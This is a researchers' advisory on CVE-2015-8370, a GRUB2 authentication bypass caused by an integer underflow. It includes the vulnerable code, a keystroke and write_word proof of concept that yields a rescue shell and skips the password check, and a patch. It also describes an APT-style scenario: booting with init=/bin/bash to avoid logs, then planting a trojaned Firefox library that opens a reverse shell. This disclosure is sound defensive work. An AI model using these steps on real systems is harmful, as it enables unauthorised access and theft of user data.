Back to 28: Grub2 Authentication 0-Day

Authors:Hector Marco & Ismael Ripoll  --  Cybersecurity Group
CVE:CVE-2015-8370
Comment:Grub2 Authentication Bypass 0-Day
Dates: December 10th, 2015 - Disclosed at IX Jornadas STIC CCN-CERT.
December 14th, 2015 - Published in the web.

Back to 28 GRUB2 vulnerability

Contents

  1. Description.
  2. Impact.
  3. The Vulnerability.
  4. The Exploit (PoC).
  5. How an APT could use this 0-Day.
  6. The Fix.
  7. Discussion.

Description

A vulnerability in Grub2 has been found. Versions from 1.98 (December, 2009) to 2.02 (December, 2015) are affected. The vulnerability can be exploited under certain circumstances, allowing local attackers to bypass any kind of authentication (plain or hashed passwords). And so, the attacker may take control of the computer.

Grub2 is the bootloader used by most Linux systems including some embedded systems. This results in an incalculable number of affected devices.

As shown in the picture, we successfully exploited this vulnerability in a Debian 7.5 under Qemu getting a Grub rescue shell.

Am I vulnerable ?

To quickly check if your system is vulnerable, when the Grub ask you the username, press the Backspace 28 times. If your machine reboots or you get a rescue shell then your Grub is affected.

Impact

An attacker which successfully exploits this vulnerability will obtain a Grub rescue shell. Grub rescue is a very powerful shell allowing to:

The Vulnerability

The fault (bug) is in the code of Grub since version 1.98 (December, 2009). The commit which introduced the fault was b391bdb2f2c5ccf29da66cecdbfb7566656a704d, affecting the grub_password_get() function.

There are two functions which suffer the same integer underflow fault. The grub_username_get() and grub_password_get() located in grub-core/normal/auth.c and lib/crypto.c respectively. Both functions are equal except for a call to printf() in the grub_username_get(). The PoC described here is based only on exploiting the grub_username_get() to obtain a Grub rescue shell.

Below is the vulnerable grub_username_get() function:

static int
grub_username_get (char buf[], unsigned buf_size)
{
  unsigned cur_len = 0;
  int key;

  while (1)
    {
      key = grub_getkey ();
      if (key == '\n' || key == '\r')
        break;

      if (key == '\e')
        {
          cur_len = 0;
          break;
        }

      if (key == '\b')  // Does not checks underflows !!
        {
          cur_len--; // Integer underflow !!
          grub_printf ("\b");
          continue;
        }

      if (!grub_isprint (key))
        continue;

      if (cur_len + 2 < buf_size)
        {
          buf[cur_len++] = key; // Off-by-two !!
          grub_printf ("%c", key);
        }
    }

  grub_memset( buf + cur_len, 0, buf_size - cur_len); // Out of bounds overwrite

  grub_xputs ("\n");
  grub_refresh ();

  return (key != '\e');
}
Function grub_username_get() at grub-core/normal/auth.c
The fault is caused by decrementing the cur_len variable without checking the range.

The Exploit (PoC)

Exploiting the integer underflow can be used to cause an Off-by-two or an Out of bounds overwrite memory errors. The former error, overwrites up to two bytes right under the username buffer (local variable called login at function grub_auth_check_authentication()), but this area does not contain any usable information to build an attack; actually, it is padding.

The latter error, the Out of bounds overwrite, is more interesting because it allows to overwrite with zeros the zone below to the username buffer. This is because the grub_memset() function tries to set to zero all unused bytes of the username buffer. To do that, the code calculates the address of the first unused byte and how many bytes have to be zeroed in the buffer. The results of these calculations are passed as arguments to the grub_memset() function:

    grub_memset (buf + cur_len, 0, buf_size - cur_len);

For example, typing "root" as usermane, cur_len is 5, and the grub_memset() function will clear (set to zero) bytes form 5 to 1024-5 (the username and password buffers are 1024 bytes) of the username buffer. This way of programming is quite robust. For example, if the typed username is stored in a clean 1024-byte array, then we can compare the whole 1024-bytes with the valid username, rather than comparing both strings. This protects against some short of side-channels attacks, like timing attacks.

To abuse the out of bound overwrite, the attacker can press the backspace key to underflow the cur_len variable, producing a very high value. This value is later used to calculate the starting address to clear.

    memset destination address = buf + cur_len

At this point, a second overflow occurs because the addition of this big value with the base address where the username buffer resides can not be hold in a 32-bit variable. Hence, we need to manage the first underflow and this second overflow to calculate the destination address where the grub_memset() function will start to set to zeros the buffer:

    cur_len--; // Integer Underflow
    grub_memset (buf + cur_len, 0, buf_size - cur_len); // Integer Overflow

The following example helps to understand how we can exploit this. Assuming that the username buffer resides in the address 0x7f674 and the attacker press the backspace key only once (producing an underflow to 0xFFFFFFFF) the resulting memset will be:

    grub_memset (0x7f673, 0, 1025);

The first argument is: (buf+cur_len) = (0x7f674+0xFFFFFFFF) = (0x7f674-1) = 0x7f673, the second argument: is the constant value used to overwrite the area, in this case 0, and the third argument is the number of bytes to overwrite: (buf_size-cur_len) = (1024-(-1)) = 1025. Therefore, the whole username buffer (1024) plus the very first byte under the buffer will be set to zero.

Therefore, the number backspace keystrokes (without introducing any username), is the number of bytes below the username that are zeroed.

Now, we are able to overwrite an arbitrary number of bytes below the username, we need to find out an interesting memory address that we can overwrite with zeros. A quick look to the current stack frame reveals that we were able to overwrite the return address of the grub_memset() function. The following picture sketches the stack memory layout:


Grub2: Redirecting the control flow.

As shown in the above picture, the return address of the grub_memset() function is at a distance of 16-bytes from the username buffer. In other words, if we press the backspace key 17 times, we will overwrite the highest byte of the return address. So, instead of returning to the caller function at 0x07eb53e8 we will jump to 0x00eb53e8. When the grub_memset() ends, control flow is redirected to the the 0x00eb53e8 address causing a reboot. The same occurs if we press the backspace key 18, 19 or 20 times, in all cases the system reboots.

At this point, we are able to redirect the control flow.

We will skip the detailed analysis of the code at: 0x00eb53e8, 0x000053e8 and 0x000000e8, because they jump to code that reboots the computer and there is no way to control the execution flow.

Although it seems quite difficult to build a successful attack just jumping to 0x0, we will show how to do it.

Is there life after jumping to 0x0 ?

At address 0x0 resides the IVT (Interrupt Vector Table) of the processor. It contains a variety of pointers in the form of segment:offset.

The lowest part of the IVT interpreted as code.
At this early stage of the boot sequence, the processor and the execution framework is not fully functional. Next are the main differences with respect to the execution environment of a regular process: Therefore, jumping to 0x0 does not cause a trap by itself, but we need to control the execution flow to reach the target function grub_rescue_run() which contains the main loop of the Grub2 Rescue Shell.

What do we control when jumping to 0x0

The main "while" loop of the grub_username_get() ends when the user hits either the [Enter] or the [Esc] key. The register %ebx contains the value of the last typed key (0xd or 0x8, Enter or Esc ascii codes respectively). The register %esi holds the value of the cur_len variable.

The instruction pointer points to the 0x0 address. The %esi register contains the value -28 (the exploit works by pressing 28 times the backspace), and then hitting [Enter] (%ebx == 0xb).

eax       0x7f658
ecx       0x0		(0)
edx       0x0		(0)
ebx       0xd		(13)
esp       0x7f664
ebp       0x0		(0)
esi       0xffff ffe4	(-28)
edi       0x0		(0)
eip       0x0		(0)
esp       0x7f664
eflags    0x200046[ PF ZF ID ]
Relevant CPU registers.

Reverse engineering of the IVT

If the state of the processor is the one summarized in the previous table, the code at IVT implements something like a memcpy(), which copies from the address pointed by %esi to 0x0 (to itself). Therefore, IVT is a self modifying code, and we can select the block of code that we want to copy from.

The following sequence shows the sequence of code actually executed the register %esi has the value -28 (0xffffffe4):

First iteration.
Second iteration.
In the third iteration, the resulting code contains a retw instruction at 0x0007. The value pointer by %esp is 0xe00c. And so, when the retw instruction is executed, the execution flow jumps into 0xe00c. This address belongs to the function grub_rescue_run():
<grub_rescue_run>:
  0xdfef:    push   %ebp
  0xdff0:    mov    %esp,%ebp
  0xdff2:    sub    $0x24,%esp
  0xdff5:    push   $0xe90a
  0xdffa:    call   0xd53b   #  
  0xdfff:    add    $0x10,%esp
  0xe002:    call   0xbfd2   #    
  0xe007:    xor    %edx,%edx
  0xe009:    lea    -0xc(%ebp),%eax
->0xe00c:    movl   $0x0,0x16ce0-->
  0xe016:    call   0xdf28  
  ...        ...    ...
void __attribute__ ((noreturn)) grub_rescue_run (void){

  . . .

  while (1)
    {
      char *line;

      /* Print an error, if any.  */
      grub_print_error ();
----->grub_errno = GRUB_ERR_NONE;

      grub_rescue_read_line (&line, 0, NULL);
      if (! line || line[0] == '\0')
        continue;

      grub_rescue_parse_line (line, grub_rescue_read_line,
                              NULL);
      grub_free (line);
    }
}
Assembly code. Corresponding C function.


At this point, GRUB2 is in the grub rescue function, which is a powerful shell.
Right after 28 [Backspace] and [Enter]. We've got a fully operative rescue shell.

Fortunately, the content of the memory has suffered minor modifications, and it is possible to use all the functionality of GRUB. Only, the first interrupt vector of the IVT has been modified, and since the processor is now in protected mode, the IVT is no longer used.

One step ahead

Although we reached the GRUB2 rescue function, we are not actually authenticated. If we return to the "normal" mode, that is the grub menu and with full editing capabilities, GRUB will ask for a valid user and password. So, we can directly start to type GRUB2 commands, or even including new modules to add new GRUB functionalities, to deploy the malware into the system or launch a much more comfortable environment by running a complete bash shell from a Linux. To run bash in Linux, we can use the GRUB2 commands like linux, initrd or insmod.

Although to use GRUB2 commands to run a Linux kernel to deploy the malware is perfectly possible, we found that, a simpler solution is to patch the code of GRUB2 in RAM to be always authenticated and then return to the "normal" mode. The idea to do that, is to modify the condition which checkes whether the user has been authenticated or not. This function is is_authenticated() in the file grub-core/normal/auth.c.

The goal is to overwrite the condition with nop instructions.

This modification is done using the GRUB2 rescue command write_word. And then, everything is ready to return back to GRUB2's normal mode. In other words, we can enter in the "edit mode" and GRUB2 will not ask for users or passwords.
grub rescue> write_word 0x7eb514e 0x90909090
grub rescue> normal
We've got a fully operative GRUB2.

How an APT could use this 0-Day

Physical access is an "advanced" feature attributed to APTs (or insiders). One of the main goals of an APT is the theft of sensitive information or Cyberspying. The following is just a very simple example of how an APT could infect a system and obtain persistence to posteriorly steal data of a user. The following summarizes the system configuration:

Boot system Overview.
As pointed before, our goal is to steal data of an user. Since the data is ciphered, the strategy we will use is to infect the system and wait until the user decrypts the data (by login into the system) and then access to the information in plain.

Preparing the environment to deploy the malware

By patching the GRUB2 as shown before, we can easily edit the linux entry to load a Linux kernel and get a root shell. This is an old but still usable trick, just by adding init=/bin/bash to the linux entry, we will get a root Linux shell, which is a much more comfortable environment for deploying our malware.

Adding /bin/bash to the linux GRUB2 command. Bash root shell in Linux.

Note that since /bin/bash is the first process to run, the syslog daemon is not running, and so, logs are not recorded. That is, this access will not be detected using normal Linux monitoring.

Deploying the malware and obtaining persistence

In order to show how far you could go by exploiting this 0-Day Grub2 vulnerability, we have developed a simple PoC. This PoC is a modified Firefox library which creates a new process and run a reverse shell to a controlled server at port 53. Obviously, this is a simple example, and a real malware will exfiltrate the information much more stealthily.

The modified library was uploaded to virustotal reporting 0 infections/virus out of 55 tools. Firefox is a web browser that uses Internet, and makes requests to HTTP and DNS ports, so, it not appears to be suspicious that our malware talk with these ports.

To infect the system we simply put our modified libplc4.so library into a USB and then replace the original one. We have to mount with write permissions the system and mount the USB as shown in the following picture:

Infecting the system.

When any user executes the Firefox, a reverse shell will be invoked. At this time all data of the user is deciphered, allowing us to steal any kind of information of the user. The following picture, shows how the user Bob (the target) is using the Firefox and how the user Alice (the attacker) has full access to Bob's data.

The victim browsing the web. The attacker with a reverse shell.

To finish the persistence part, it worth to mention that by a simple Kernel modification that resides in the /boot partition, which by default is not ciphered, we can elevate privileges to deploy a more persistent malware. The imagination is the limit.

The Fix

The bug can be easily fixed just by preventing that cur_len overflows. The main vendors are already aware of this vulnerability. By the way, we have created the following "emergency patch" from the main GRUB2 git repository:
From 88c9657960a6c5d3673a25c266781e876c181add Mon Sep 17 00:00:00 2001
From: Hector Marco-Gisbert <hecmargi@upv.es>
Date: Fri, 13 Nov 2015 16:21:09 +0100
Subject: [PATCH] Fix security issue when reading username and password

  This patch fixes two integer underflows at:
    * grub-core/lib/crypto.c
    * grub-core/normal/auth.c

Signed-off-by: Hector Marco-Gisbert <hecmargi@upv.es>
Signed-off-by: Ismael Ripoll-Ripoll <iripoll@disca.upv.es>
---
 grub-core/lib/crypto.c  | 2 +-
 grub-core/normal/auth.c | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/grub-core/lib/crypto.c b/grub-core/lib/crypto.c
index 010e550..524a3d8 100644
--- a/grub-core/lib/crypto.c
+++ b/grub-core/lib/crypto.c
@@ -468,7 +468,7 @@ grub_password_get (char buf[], unsigned buf_size)
      break;
    }
 
-      if (key == '\b')
+      if (key == '\b' && cur_len)
    {
      cur_len--;
      continue;
diff --git a/grub-core/normal/auth.c b/grub-core/normal/auth.c
index c6bd96e..5782ec5 100644
--- a/grub-core/normal/auth.c
+++ b/grub-core/normal/auth.c
@@ -172,7 +172,7 @@ grub_username_get (char buf[], unsigned buf_size)
      break;
    }
 
-      if (key == '\b')
+      if (key == '\b' && cur_len)
    {
      cur_len--;
      grub_printf ("\b");
--
1.9.1
[ 0001-Fix-CVE-2015-8370-Grub2-user-pass-vulnerability.patch ]

Patching GRUB 2.02:
$ git clone git://git.savannah.gnu.org/grub.git grub.git
$ cd grub.git
$ wget http://hmarco.org/bugs/patches/0001-Fix-CVE-2015-8370-Grub2-user-pass-vulnerability.patch
$ git apply 0001-Fix-CVE-2015-8370-Grub2-user-pass-vulnerability.patch

Discussion

The successfully exploitation of the vulnerability has been possible because we made a very deep analysis of all components involved in this bug. As can be seen, the successful exploitation depends on many things: the BIOS version, the GRUB version, the amount of RAM, and whatever that modifies the memory layout. And each system requires a deep analysis to build the specific exploit.

Just to mention something that we have not used here: the grub_memset() function can be abused so that it sets to zero chunks of memory without jumping to 0x0, and the user and password buffers can be used to store payloads.

Also, in the case of more complex attacks (those which require a large underflow or payload), it would be useful to use a keyboard emulation device, as for example the Teensy device. We can record the attack sequence of pressed keys, and replay it on the target system.

Fortunately, the method presented here to exploit the GRUB2 vulnerability is not generic, but there are other alternatives that could work for you. Here we are only presenting one that works for us.




Hector Marco - http://hmarco.org